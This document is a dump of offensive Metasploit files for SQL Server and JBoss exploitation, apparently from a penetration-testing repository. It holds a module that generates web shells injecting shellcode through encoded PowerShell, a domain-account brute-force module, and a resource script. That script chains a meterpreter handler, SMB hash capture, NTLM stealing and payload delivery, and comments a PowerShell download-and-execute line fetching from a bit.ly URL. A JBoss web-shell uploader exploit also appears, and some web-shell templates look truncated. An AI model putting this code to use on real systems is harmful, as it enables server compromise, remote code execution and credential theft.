223 |
224 | # Setup query
225 | evilsql_remove = "use #{dbowner_db};
226 | DECLARE @myevil3 as varchar(max)
227 | set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
228 | exec(@myevil3);"
229 |
230 | # Run query
231 | mssql_query(evilsql_remove, false) if mssql_login_datastore
232 | disconnect
233 |
234 | # Return value
235 | return 1
236 | rescue
237 |
238 | # Return error
239 | error = 'Failed to run stored procedure.'
240 | return error
241 | end
242 | end
243 | end
244 |
--------------------------------------------------------------------------------
/ps_webshells.rb:
--------------------------------------------------------------------------------
1 | require 'msf/core'
2 |
3 | class Metasploit3 < Msf::Exploit::Remote
4 | Rank = GreatRanking
5 |
6 | include Msf::Auxiliary::Report
7 |
8 | def initialize(info = {})
9 | super(update_info(info,
10 | 'Name' => 'ps_webshells',
11 | 'Description' => %q{This module will generate a webshell in the language defined by
12 | the "WEB_LANG" option that passes a base64 encoded PowerShell
13 | command to the Windows operating system that will execute
14 | the defined MSF payload.
15 | This can be a handy way to deliver Metasploit payloads when you
16 | have the ability to upload arbitrary files to a web server. The
17 | txt extension can also be defined in order to write the raw
18 | PowerShell command to a file for manual execution.},
19 | 'Author' =>
20 | [
21 | 'Scott Sutherland "nullbind" ',
22 | 'Ryan Gandrud "siegemaster" '
23 | ],
24 | 'Platform' => [ 'win' ],
25 | 'License' => MSF_LICENSE,
26 | 'References' => [['URL','http://www.exploit-monday.com/2011_10_16_archive.html']],
27 | 'Platform' => 'win',
28 | 'DisclosureDate' => 'Oct 10 2011',
29 | 'Targets' =>
30 | [
31 | [ 'Automatic', { } ],
32 | ],
33 | 'DefaultTarget' => 0
34 | ))
35 |
36 | register_options(
37 | [
38 | OptString.new('WEB_LANG', [true, 'TXT,JSP,PHP,ASP,ASPX,CFM', 'JSP']),
39 | OptString.new('TARGET_ARCH', [true, '64,32', '64']),
40 | OptString.new('OUT_DIR', [true, 'output directory', 'c:\\windows\\temp\\']),
41 | ], self.class)
42 | end
43 |
44 | def exploit
45 |
46 | # Validate architecture variable
47 | if datastore['TARGET_ARCH'] != "64" and datastore['TARGET_ARCH'] != "32" then
48 | print_error("Aborted! TARGET_ARCH \"#{datastore['TARGET_ARCH']}\" is invalid.\n")
49 | return
50 | end
51 |
52 | # Randomly set number of chars in file name
53 | the_name_len = 3 + rand(10)
54 |
55 | # Randomly set file name
56 | the_file_name = rand_text_alpha(the_name_len)
57 |
58 | # Display start to users
59 | print_status("Writing file for msf payload delivery to #{datastore['OUT_DIR']}#{the_file_name}.#{datastore['WEB_LANG']}...")
60 |
61 | # Generate powershell command
62 | ps_cmd = gen_ps_cmd
63 |
64 | # Generate web shell in specified language
65 | case datastore['WEB_LANG'].upcase
66 | when 'JSP'
67 | output = gen_JSP(ps_cmd)
68 | ext = "jsp"
69 | when 'PHP'
70 | output = gen_PHP(ps_cmd)
71 | ext = "php"
72 | when 'ASP'
73 | output = gen_ASP(ps_cmd)
74 | ext = "asp"
75 | when 'ASPX'
76 | output = gen_ASPX(ps_cmd)
77 | ext = "aspx"
78 | when 'CFM'
79 | output = gen_CFM(ps_cmd)
80 | ext = "cfm"
81 | when 'TXT'
82 | output = ps_cmd
83 | ext = "txt"
84 | else
85 | print_error("Aborted! Output file type is not supported.\n")
86 | return
87 | end
88 |
89 | # Output file to specified location
90 | File.open(datastore['OUT_DIR'] + "#{the_file_name}.#{ext}", 'wb') { |file| file.write(output)}
91 |
92 | # Get file size
93 | web_shell_size = File.size(datastore['OUT_DIR'] + "#{the_file_name}.#{ext}")
94 |
95 | # Display end to users
96 | print_good("#{web_shell_size} byte file written.\n")
97 | print_status("Module execution complete.\n")
98 |
99 | end
100 |
101 |
102 | # ------------------------------
103 | # Generate powershell payload
104 | # ------------------------------
105 | def gen_ps_cmd()
106 |
107 | # Create powershell script that will inject shell code from the selected payload
108 | myscript ="$code = @\"
109 | [DllImport(\"kernel32.dll\")]
110 | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
111 | [DllImport(\"kernel32.dll\")]
112 | public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
113 | [DllImport(\"msvcrt.dll\")]
114 | public static extern IntPtr memset(IntPtr dest, uint src, uint count);
115 | \"@
116 | $winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
117 | [Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
118 | $size = 0x1000
119 | if ($sc.Length -gt 0x1000) {$size = $sc.Length}
120 | $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
121 | for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
122 | $winFunc::CreateThread(0,0,$x,0,0,0)"
123 |
124 | # Unicode encode powershell script
125 | mytext_uni = Rex::Text.to_unicode(myscript)
126 |
127 | # Base64 encode unicoded script
128 | mytext_64 = Rex::Text.encode_base64(mytext_uni)
129 |
130 | # Setup path for powershell based on arch
131 | if datastore['TARGET_ARCH'] == "32" then
132 | mypath = ""
133 | else
134 |
135 | # Adjust slashes for txt vs web language output
136 | if datastore['WEB_LANG'] == "txt" then
137 | slashery = "\\"
138 | else
139 | slashery = "\\\\"
140 | end
141 | mypath="C:#{slashery}windows#{slashery}syswow64#{slashery}WindowsPowerShell#{slashery}v1.0#{slashery}"
142 | end
143 |
144 | # Create powershell command to be executed
145 | ps_cmd = "#{mypath}powershell.exe -noexit -noprofile -encodedCommand #{mytext_64}"
146 |
147 | return ps_cmd
148 | end
149 |
150 |
151 | # ------------------------------
152 | # Generate jsp web shell
153 | # ------------------------------
154 | def gen_JSP(ps_cmd)
155 |
156 | # Randomly set the var len
157 | the_var_len = 3 + rand(10)
158 |
159 | # Randomly set variable name
160 | jsp_var_name = rand_text_alpha(the_var_len)
161 |
162 | # Generate JSP script
163 | script = "<%
164 | Process #{jsp_var_name} = Runtime.getRuntime().exec(\"cmd.exe /c \" + \"#{ps_cmd}\");
165 | %>"
166 | end
167 |
168 |
169 | # ------------------------------
170 | # Generate php web shell
171 | # ------------------------------
172 | def gen_PHP(ps_cmd)
173 |
174 | # Generate PHP script
175 | script = "nul\');
177 | ?>"
178 | end
179 |
180 |
181 | # ------------------------------
182 | # Generate asp web shell
183 | # ------------------------------
184 | def gen_ASP(ps_cmd)
185 |
186 | # Randomly set the var len
187 | the_var_len = 3 + rand(10)
188 |
189 | # Randomly set variable name
190 | asp_var_name = rand_text_alpha(the_var_len)
191 |
192 | # Generate ASP script
193 | script = "<%
194 | set #{asp_var_name} = CreateObject(\"WScript.Shell\")
195 | #{asp_var_name}.run \"cmd.exe /c #{ps_cmd}\"
196 | %>"
197 | end
198 |
199 |
200 | # ------------------------------
201 | # Generate aspx web shell
202 | # ------------------------------
203 | def gen_ASPX(ps_cmd)
204 |
205 | # Randomly set variable name 1
206 | the_var_len = 3 + rand(10)
207 | aspx_var_name1 = rand_text_alpha(the_var_len)
208 |
209 | # Randomly set variable name 2
210 | the_var_len = 3 + rand(10)
211 | aspx_var_name2 = rand_text_alpha(the_var_len)
212 |
213 | # Randomly set variable name 3
214 | the_var_len = 3 + rand(10)
215 | aspx_var_name3 = rand_text_alpha(the_var_len)
216 |
217 | # Generate ASPX script
218 | script = "<%@ Page Language=\"VB\" Debug=\"true\" %>
219 | <%@ import Namespace=\"system.IO\" %>
220 | <%@ import Namespace=\"System.Diagnostics\" %>
221 |
222 |
233 |
234 |
235 | "
236 | end
237 |
238 |
239 | # ------------------------------
240 | # Generate cfm web shell
241 | # ------------------------------
242 | def gen_CFM(ps_cmd)
243 |
244 | # Randomly set variable name 1
245 | the_var_len = 3 + rand(10)
246 | cfm_var_name1 = rand_text_alpha(the_var_len)
247 |
248 | # Randomly set variable name 2
249 | the_var_len = 3 + rand(10)
250 | cfm_var_name2 = rand_text_alpha(the_var_len)
251 |
252 | # Randomly set variable name 3
253 | the_var_len = 3 + rand(10)
254 | cfm_var_name3 = rand_text_alpha(the_var_len)
255 |
256 | # Generate cfm script
257 | script = "
258 |
259 |
260 |
261 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 |
275 | ##{cfm_var_name1}#
276 |
277 |
278 |
279 | "
280 | end
281 |
282 | end
283 |
--------------------------------------------------------------------------------
/mssql_enum_windows_domain_accounts.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http://metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 | require 'msf/core/exploit/mssql_commands'
8 |
9 | class Metasploit3 < Msf::Auxiliary
10 |
11 | include Msf::Exploit::Remote::MSSQL
12 | include Msf::Auxiliary::Report
13 |
14 | def initialize(info = {})
15 | super(update_info(info,
16 | 'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
17 | 'Description' => %q{
18 | This module can be used to brute force RIDs associated with the domain of
19 | the SQL Server using the SUSER_SNAME function. This is similar to the
20 | smb_lookupsid module, but executed through SQL Server queries as any user
21 | with the PUBLIC role (everyone). Information that can be enumerated includes
22 | Windows domain users, groups, and computer accounts. Enumerated accounts can
23 | then be used in online dictionary attacks.
24 | },
25 | 'Author' => [ 'nullbind '],
26 | 'License' => MSF_LICENSE,
27 | 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
28 | ))
29 |
30 | register_options(
31 | [
32 | OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]),
33 | ], self.class)
34 | end
35 |
36 | def run
37 | # Check connection and issue initial query
38 | print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
39 | if mssql_login_datastore
40 | print_good('Connected.')
41 | else
42 | print_error('Login was unsuccessful. Check your credentials.')
43 | disconnect
44 | return
45 | end
46 |
47 | # Query for sysadmin status
48 | print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
49 | user_status = check_sysadmin
50 |
51 | # Check if user has sysadmin role
52 | if user_status == 1
53 | print_good("#{datastore['USERNAME']} is a sysadmin.")
54 | else
55 | print_status("#{datastore['USERNAME']} is NOT a sysadmin.")
56 | end
57 |
58 | # Get the server name
59 | sql_server_name = get_sql_server_name
60 | print_status("SQL Server Name: #{sql_server_name}")
61 |
62 | # Get the domain name
63 | sql_server_domain = get_windows_domain
64 | if sql_server_domain.nil?
65 | print_error("Could not recover the SQL Server's domain.")
66 | disconnect
67 | return
68 | else
69 | print_status("Domain Name: #{sql_server_domain}")
70 | end
71 |
72 | # Check if the domain and hostname are the same
73 | if sql_server_name == sql_server_domain
74 | print_error("The SQL Server does not appear to be part of a Windows domain.")
75 | disconnect
76 | return
77 | end
78 |
79 | # Get the base sid for the domain
80 | windows_domain_sid = get_windows_domain_sid(sql_server_domain)
81 | if windows_domain_sid.nil?
82 | print_error("Could not recover the SQL Server's domain sid.")
83 | disconnect
84 | return
85 | else
86 | print_good("Found the domain sid: #{windows_domain_sid}")
87 | end
88 |
89 | # Get a list of windows users, groups, and computer accounts using SUSER_NAME()
90 | print_status("Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")
91 | win_domain_user_list = get_win_domain_users(windows_domain_sid)
92 | if win_domain_user_list.nil? || win_domain_user_list.empty?
93 | print_error('Sorry, no Windows domain accounts were found, or DC could not be contacted.')
94 | disconnect
95 | return
96 | else
97 |
98 | # Print number of objects found and write to a file
99 | print_good("#{win_domain_user_list.length} user accounts, groups, and computer accounts were found.")
100 |
101 | win_domain_user_list.sort.each do |windows_login|
102 | if datastore['VERBOSE']
103 | print_status(" - #{windows_login}")
104 | end
105 | end
106 |
107 | # Create table for report
108 | windows_domain_login_table = Rex::Ui::Text::Table.new(
109 | 'Header' => 'Windows Domain Accounts',
110 | 'Ident' => 1,
111 | 'Columns' => ['name']
112 | )
113 |
114 | # Add brute forced names to table
115 | win_domain_user_list.each do |object_name|
116 | windows_domain_login_table << [object_name]
117 | end
118 |
119 | # Create output file
120 | this_service = nil
121 | if framework.db and framework.db.active
122 | this_service = report_service(
123 | :host => rhost,
124 | :port => rport,
125 | :name => 'mssql',
126 | :proto => 'tcp'
127 | )
128 | end
129 | filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv"
130 | path = store_loot("windows_domain_accounts", "text/plain", datastore['RHOST'], windows_domain_login_table.to_csv, filename, "SQL Server query results",this_service)
131 | print_status("Query results have been saved to: #{path}")
132 | end
133 |
134 | disconnect
135 | end
136 |
137 | # Checks if user is a sysadmin
138 | def check_sysadmin
139 |
140 | # Setup query to check for sysadmin
141 | sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
142 |
143 | # Run query
144 | result = mssql_query(sql)
145 |
146 | # Parse query results
147 | parse_results = result[:rows]
148 | status = parse_results[0][0]
149 |
150 | # Return status
151 | return status
152 | end
153 |
154 | # Get list of windows accounts,groups,and computer accounts
155 | def get_win_domain_users(windows_domain_sid)
156 |
157 | # Create array to store the windws accounts etc
158 | windows_logins = []
159 |
160 | # Fuzz the principal_id parameter passed to the SUSER_NAME function
161 | (500..datastore['FuzzNum']).each do |principal_id|
162 |
163 | # Convert number to hex and fix order
164 | principal_id_hex = "%02X" % principal_id
165 | principal_id_hex_pad = (principal_id_hex.size.even? ? principal_id_hex : ("0"+ principal_id_hex))
166 | principal_id_clean = principal_id_hex_pad.scan(/(..)/).reverse.flatten.join
167 |
168 | # Add padding
169 | principal_id_hex_padded2 = principal_id_clean.ljust(8, '0')
170 |
171 | # Create full sid
172 | win_sid = "0x#{windows_domain_sid}#{principal_id_hex_padded2}"
173 |
174 | # Return if sid does not resolve correctly for a domain
175 | if win_sid.length < 48
176 | return nil
177 | end
178 |
179 | # Setup query
180 | sql = "SELECT SUSER_SNAME(#{win_sid}) as name"
181 |
182 | # Execute query
183 | result = mssql_query(sql)
184 |
185 | # Parse results
186 | parse_results = result[:rows]
187 | windows_login = parse_results[0][0]
188 |
189 | # Print account,group,or computer account etc
190 | if windows_login.length != 0
191 | print_status(" - #{windows_login}")
192 |
193 | # Verbose output
194 | if datastore['VERBOSE']
195 | print_status("Test sid: #{win_sid}")
196 | end
197 | end
198 |
199 | # Add to windows domain object list
200 | windows_logins.push(windows_login) unless windows_logins.include?(windows_login)
201 | end
202 |
203 | # Return list of logins
204 | windows_logins
205 | end
206 |
207 | # Get windows domain
208 | def get_windows_domain
209 |
210 | # Setup query to check for sysadmin
211 | sql = "SELECT DEFAULT_DOMAIN() as mydomain"
212 |
213 | # Run query
214 | result = mssql_query(sql)
215 |
216 | # Parse query results
217 | parse_results = result[:rows]
218 | sql_server_domain = parse_results[0][0]
219 |
220 | # Return domain
221 | sql_server_domain
222 | end
223 |
224 | # Get the sql server's hostname
225 | def get_sql_server_name
226 |
227 | # Setup query to check for sysadmin
228 | sql = "SELECT @@servername"
229 |
230 | # Run query
231 | result = mssql_query(sql)
232 |
233 | # Parse query results
234 | parse_results = result[:rows]
235 | sql_instance_name = parse_results[0][0]
236 | sql_server_name = sql_instance_name.split('\\')[0]
237 |
238 | # Return servername
239 | sql_server_name
240 | end
241 |
242 | # Get windows domain
243 | def get_windows_domain_sid(sql_server_domain)
244 |
245 | # Set group
246 | domain_group = "#{sql_server_domain}\\Domain Admins"
247 |
248 | # Setup query to check for sysadmin
249 | sql = "select SUSER_SID('#{domain_group}') as dasid"
250 |
251 | # Run query
252 | result = mssql_query(sql)
253 |
254 | # Parse query results
255 | parse_results = result[:rows]
256 | object_sid = parse_results[0][0]
257 | domain_sid = object_sid[0..47]
258 |
259 | # Return if sid does not resolve for a domain
260 | if domain_sid.length == 0
261 | return nil
262 | end
263 |
264 | # Return domain sid
265 | domain_sid
266 | end
267 | end
268 |
--------------------------------------------------------------------------------
/dbescalate.rc:
--------------------------------------------------------------------------------
1 | #################################################
2 | # SQL Server - Domain User Privilege Escalation #
3 | #################################################
4 | # Super rough draft outline
5 | # References:
6 | # http://www.offensive-security.com/metasploit-unleashed/Using_the_Database
7 | # https://www.trustedsec.com/august-2014/metasploit-scripting/
8 | # https://github.com/rapid7/metasploit-framework/blob/master/scripts/resource/auto_cred_checker.rc
9 |
10 | # todo
11 | # add check to determine which payload method should be used based on fileexist function
12 | # use alternative obfuscated payload if using exe
13 | # set payloads to load in background
14 | # set auto run for mimikatz and hashes, autosysteminfo, autorunscript
15 | # at end check creds for da
16 | # add auto generate a del for auto run script
17 | # setup variables for global settings
18 |
19 | # Windows resource
20 | # resource z:\\Pentest\\dbtest.rc
21 |
22 | # Linux resource
23 | # resouce /pentest/dbtest.rc
24 |
25 | # clear databases
26 | hosts -d
27 | creds -d
28 | services -d
29 |
30 | # Start logging - linux - logging
31 | # spool /tmp/sql_server_escalation_log-test.txt
32 |
33 | # Start logging - windows - logging
34 | spool c:\\temp\\sql-esc-log1.txt #windows
35 |
36 |
37 | #---------------------------------
38 | # start handler
39 | #---------------------------------
40 | use multi/handler
41 | setg payload windows/meterpreter/tcp
42 | set exitonsession false
43 | setg lport 2387
44 | setg lhost 0.0.0.0
45 | exploit -j -z
46 |
47 |
48 | #---------------------------------
49 | # start smb listener (can use repsonder as alternative)
50 | #---------------------------------
51 | use auxiliary/server/capture/smb
52 | set cainpwfile /tmp/cain_smb_pw
53 | set johnpwfile /tmp/john_smb_pw
54 | xploit
55 |
56 |
57 | #---------------------------------
58 | # List SQL Servers via SPN dump
59 | #---------------------------------
60 | # write auxiliary to hit ldap for domain with provided creds
61 | # in the mean time use the powershell script
62 | # Get-SqlServer-Escalate-CheckAccess -DomainController 10.2.9.100 -ListOnly -Credential demo\administrator |
63 | # select server |
64 | # Export-Csv c:\temp\sql-spn.txt -NoTypeInformation
65 |
66 |
67 | #---------------------------------
68 | # Determine live SQL Servers via mssql_ping - SPN
69 | #---------------------------------
70 | use auxiliary/scanner/mssql/mssql_ping
71 | set rhosts file:z:\\pentest\\sql-spn.txt
72 | #set rhosts file:///pentest/sql-spn.txt
73 | set threads 255
74 | exploit
75 |
76 |
77 | #---------------------------------
78 | # Determine live SQL Servers via mssql_ping - network
79 | # Use case 1: unauthenticated enumeration of servers
80 | # Use case 2: finding servers that are not on the domain
81 | # This doesn't seem to cause duplicate entries in the services database
82 | #---------------------------------
83 | use auxiliary/scanner/mssql/mssql_ping
84 | set rhosts 10.2.9.0/24
85 | set threads 255
86 | exploit
87 |
88 |
89 | #---------------------------------
90 | # Test access to SQL Servers via MSSQL_Login
91 | #---------------------------------
92 | use auxiliary/scanner/mssql/mssql_login
93 | set USERNAME [username]
94 | set PASSWORD [Password]
95 | set USE_WINDOWS_AUTHENT true
96 | set VERBOSE false
97 | set THREADS 255
98 |
99 |
100 | framework.db.hosts.each do |host|
101 | host.services.each do |service|
102 | if service.name == "mssql" and service.state == "open"
103 | self.run_single("set RHOSTS #{host.address}")
104 | self.run_single("set RPORT #{service.port}")
105 | self.run_single("run")
106 | end
107 | end
108 | end
109 |
110 |
111 | #---------------------------------
112 | # Define custom query with mssql_sql - grab server info
113 | # add service account
114 | # stuff can be parsed and manually added
115 | # to the comments field in the services db
116 | # uses methods found in the mssql_ping.rb
117 | #---------------------------------
118 | use auxiliary/admin/mssql/mssql_sql
119 | set USERNAME [Username]
120 | set PASSWORD [Password]
121 | #domain
122 | # select 'server: ' + @@servername + ',sysadmin: ' + cast(IS_SRVROLEMEMBER('sysadmin') as varchar(10)) + ',links: ' + (select cast((select count(srvname) from master..sysservers) as varchar(10))) + ',clustered: ' + (select cast(SERVERPROPERTY('IsClustered') as varchar(10)))
123 | set sql select \'server: \' + @@servername + \',sysadmin: \' + cast(IS_SRVROLEMEMBER(\'sysadmin\') as varchar(10)) + \',links: \' + (select cast((select count(srvname) from master..sysservers) as varchar(10))) + \',clustered: \' + (select cast(SERVERPROPERTY(\'IsClustered\') as varchar(10))) as OUTPUT
124 | set USE_WINDOWS_AUTHENT true
125 | set VERBOSE false
126 | set THREADS 255
127 |
128 |
129 | framework.db.hosts.each do |host|
130 | host.services.each do |service|
131 | if service.name == "mssql" and service.state == "open"
132 | framework.db.creds.each do |creds|
133 | if service.id == creds.service_id
134 | self.run_single("set RHOST #{host.address}")
135 | self.run_single("set RPORT #{service.port}")
136 | self.run_single("run")
137 | end
138 |
139 | end
140 | end
141 | end
142 | end
143 |
144 |
145 |
146 | #---------------------------------
147 | # Capture NTLM hashes for service accounts via mssql_ntlm_stealer
148 | #---------------------------------
149 | use auxiliary/admin/mssql/mssql_ntlm_stealer
150 | set USERNAME [Username]
151 | set PASSWORD [Password]
152 | #domain
153 | set USE_WINDOWS_AUTHENT true
154 | set VERBOSE false
155 | set THREADS 255
156 |
157 |
158 | framework.db.hosts.each do |host|
159 | host.services.each do |service|
160 | if service.name == "mssql" and service.state == "open"
161 | framework.db.creds.each do |creds|
162 | if service.id == creds.service_id
163 | self.run_single("set RHOSTS #{host.address}")
164 | self.run_single("set RPORT #{service.port}")
165 | self.run_single("run")
166 | end
167 |
168 | end
169 | end
170 | end
171 | end
172 |
173 |
174 |
175 | #---------------------------------
176 | # Test escalation with db owner configuration
177 | #---------------------------------
178 | use auxiliary/admin/mssql/mssql_escalate_dbowner
179 | set USERNAME [Username]
180 | set PASSWORD [Password]
181 | #domain
182 | set USE_WINDOWS_AUTHENT true
183 | set VERBOSE false
184 | set THREADS 255
185 |
186 |
187 | framework.db.hosts.each do |host|
188 | host.services.each do |service|
189 | if service.name == "mssql" and service.state == "open"
190 | framework.db.creds.each do |creds|
191 | if service.id == creds.service_id
192 | self.run_single("set RHOST #{host.address}")
193 | self.run_single("set RPORT #{service.port}")
194 | self.run_single("run")
195 | end
196 |
197 | end
198 | end
199 | end
200 | end
201 |
202 |
203 |
204 | #---------------------------------
205 | # Test escalation via excessive IMPERSIONATE privs
206 | #---------------------------------
207 | use auxiliary/admin/mssql/mssql_escalate_executeas
208 | set USERNAME [Username]
209 | set PASSWORD [Password]
210 | #domain
211 | set USE_WINDOWS_AUTHENT true
212 | set VERBOSE false
213 | set THREADS 255
214 |
215 |
216 | framework.db.hosts.each do |host|
217 | host.services.each do |service|
218 | if service.name == "mssql" and service.state == "open"
219 | framework.db.creds.each do |creds|
220 | if service.id == creds.service_id
221 | self.run_single("set RHOST #{host.address}")
222 | self.run_single("set RPORT #{service.port}")
223 | self.run_single("run")
224 | end
225 |
226 | end
227 | end
228 | end
229 | end
230 |
231 |
232 |
233 | #---------------------------------
234 | # Test escalation through database links
235 | #---------------------------------
236 | # add mssql_linkcrawler
237 |
238 | #---------------------------------
239 | # Test for sysadmin access with MSSQL_payload - traditional shell
240 | # may want to do use auxiliary/admin/mssql/mssql_exec instead to avoid
241 | # av on systems that dont have ps
242 | #---------------------------------
243 | use exploit/windows/mssql/mssql_payload
244 | set PrependMigrate true
245 | # set payload windows/meterpreter/reverse_tcp
246 | set payload windows/meterpreter/bind_tcp
247 | #set autorunscript z:\\pentest\\msf-autorun.txt
248 | set AutoRunScript C:/metasploit/apps/pro/msf3/scripts/meterpreter/test.rb
249 | #set AutoRunScript yourScript ( yourScript.rb is a ruby script in the /opt/metasploit/msf3/scripts/meterpreter dir and does getsystem, migrate,etcat victim end)
250 | #create autorunscript
251 | #sysinfo
252 | #getuid
253 | #getsystem
254 | #getuid
255 | #load mimikatz
256 | #create 64 bit process and migrate in
257 | #wdigest
258 | set lport 12345
259 | set USERNAME [Username]
260 | set PASSWORD [Password]
261 | #domain
262 | set USE_WINDOWS_AUTHENT true
263 | set VERBOSE false
264 | set THREADS 255
265 |
266 |
267 | framework.db.hosts.each do |host|
268 | host.services.each do |service|
269 | if service.name == "mssql" and service.state == "open"
270 | framework.db.creds.each do |creds|
271 | if service.id == creds.service_id
272 | self.run_single("set RHOST #{host.address}")
273 | self.run_single("set RPORT #{service.port}")
274 | self.run_single("run")
275 | end
276 |
277 | end
278 | end
279 | end
280 | end
281 |
282 |
283 |
284 | #---------------------------------
285 | # Define custom query with mssql_sql - shell through powershell reflection
286 | # * use if powershell exist, testing with fileexist - add check to determine which to use
287 | #---------------------------------
288 | # use ps_webshell to generate payload in poewrshell format
289 | # place on web server
290 | # enable xp cmdshell,then execute command below via xp_cmdshell
291 | # powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
292 |
293 |
294 | #---------------------------------
295 | # Get list of domain admins
296 | #---------------------------------
297 | # write auxiliary to hit ldap for domain with provided creds
298 |
299 |
300 | #---------------------------------
301 | # Check list of creds for domain admins
302 | #---------------------------------
303 |
304 | # if no data check for new creds, if new creds get list of active sessions from dc/files servers, attempt psexec mimikatz / hash
305 | # then check again
306 |
307 | # print domain admins and passwords / hashes
308 |
309 | # export the live sql server instances
310 | # services -s mssql -u -o /root/msfu/http.csv
311 |
312 | # export the creds
313 | # creds -o c:\\temp\\msf-creds.txt
314 |
315 |
316 |
317 |
318 |
319 |
320 |
321 |
--------------------------------------------------------------------------------
/msf-jboss-webshell-uploader-mod.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http//metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 |
8 |
9 | class Metasploit4 < Msf::Exploit::Remote
10 | Rank = ExcellentRanking
11 |
12 | HttpFingerprint = { :pattern => [ /JBoss/ ] }
13 |
14 | include Msf::Exploit::Remote::HttpClient
15 | include Msf::Exploit::EXE
16 |
17 | def initialize(info = {})
18 | super(update_info(info,
19 | 'Name' => 'Scotts JBoss module Mods',
20 | 'Description' => %q{
21 | This module will upload a standard web shell to the target JBoss servers that have an
22 | exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking
23 | the methods provided by jboss.admin:DeploymentFileRepository jsp webshell is deployed.
24 | The DeploymentFileRepository methods seem to work on Jboss 4.x and 5.x and above on
25 | Windows. This module has been modified from the original to only work on Windows.
26 | },
27 | 'Author' => [
28 | 'Patrick Hof', # Vulnerability discovery, analysis and PoC
29 | 'Jens Liebchen', # Vulnerability discovery, analysis and PoC
30 | 'h0ng10' # Metasploit module
31 | ],
32 | 'License' => MSF_LICENSE,
33 | 'References' =>
34 | [
35 | [ 'CVE', '2007-1036' ],
36 | [ 'OSVDB', '33744' ],
37 | [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
38 | ],
39 | 'DisclosureDate' => 'Feb 20 2007',
40 | 'Privileged' => true,
41 | 'Platform' => %w{ java linux win },
42 | 'Stance' => Msf::Exploit::Stance::Aggressive,
43 | 'Targets' =>
44 | [
45 |
46 | # do target detection but java meter by default
47 | [ 'Automatic',
48 | {
49 | 'Arch' => ARCH_JAVA,
50 | 'Platform' => 'java'
51 | }
52 | ],
53 |
54 | [ 'Java Universal',
55 | {
56 | 'Arch' => ARCH_JAVA,
57 | },
58 | ],
59 |
60 | #
61 | # Platform specific targets
62 | #
63 | [ 'Windows Universal',
64 | {
65 | 'Arch' => ARCH_X86,
66 | 'Platform' => 'win'
67 | },
68 | ],
69 |
70 | [ 'Linux x86',
71 | {
72 | 'Arch' => ARCH_X86,
73 | 'Platform' => 'linux'
74 | },
75 | ],
76 | ],
77 |
78 | 'DefaultTarget' => 0))
79 |
80 | register_options(
81 | [
82 | Opt::RPORT(8080),
83 | OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
84 | OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
85 | OptString.new('TARGETURI', [ true, 'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]),
86 | ], self.class)
87 |
88 | end
89 |
90 | def check
91 | res = send_serialized_request('version.bin')
92 | if res.nil?
93 | vprint_error("Connection timed out")
94 | return Exploit::CheckCode::Unknown
95 | elsif res.code != 200
96 | vprint_error("Unable to request version, returned http code is: #{res.code.to_s}")
97 | return Exploit::CheckCode::Unknown
98 | end
99 |
100 | # Check if the version is supported by this exploit
101 | return Exploit::CheckCode::Appears #if res.body =~ /CVSTag=Branch_4_/ # nullbind mod - suppress version check
102 | #return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_4_/ # nullbind mod - suppress version check
103 | #return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ # nullbind mod - suppress version check
104 |
105 | if res.body =~ /ServletException/ # Simple check, if we caused an exception.
106 | vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")
107 | return Exploit::CheckCode::Appears
108 | end
109 |
110 | return Exploit::CheckCode::Safe
111 | end
112 |
113 | def exploit
114 | mytarget = target
115 |
116 | if (target.name =~ /Automatic/)
117 | mytarget = auto_target
118 | fail_with("Unable to automatically select a target") if not mytarget
119 | print_status("Automatically selected target: \"#{mytarget.name}\"")
120 | else
121 | print_status("Using manually select target: \"#{mytarget.name}\"")
122 | end
123 |
124 |
125 | # We use a already serialized stager to deploy the final payload
126 | regex_stager_app_base = rand_text_alpha(14)
127 | regex_stager_jsp_name = rand_text_alpha(14)
128 | name_parameter = rand_text_alpha(8)
129 | content_parameter = rand_text_alpha(8)
130 | stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"
131 | stager_code = "A" * 810 # 810 is the size of the stager in the serialized request
132 |
133 | replace_values = {
134 | 'regex_app_base' => regex_stager_app_base,
135 | 'regex_jsp_name' => regex_stager_jsp_name,
136 | stager_code => generate_stager(name_parameter, content_parameter)
137 | }
138 |
139 | print_status("Deploying stager")
140 | send_serialized_request('installstager.bin', replace_values)
141 | print_status("Calling stager: #{stager_uri}")
142 | call_uri_mtimes(stager_uri, 5, 'GET')
143 |
144 | # Generate the WAR with the payload which will be uploaded through the stager
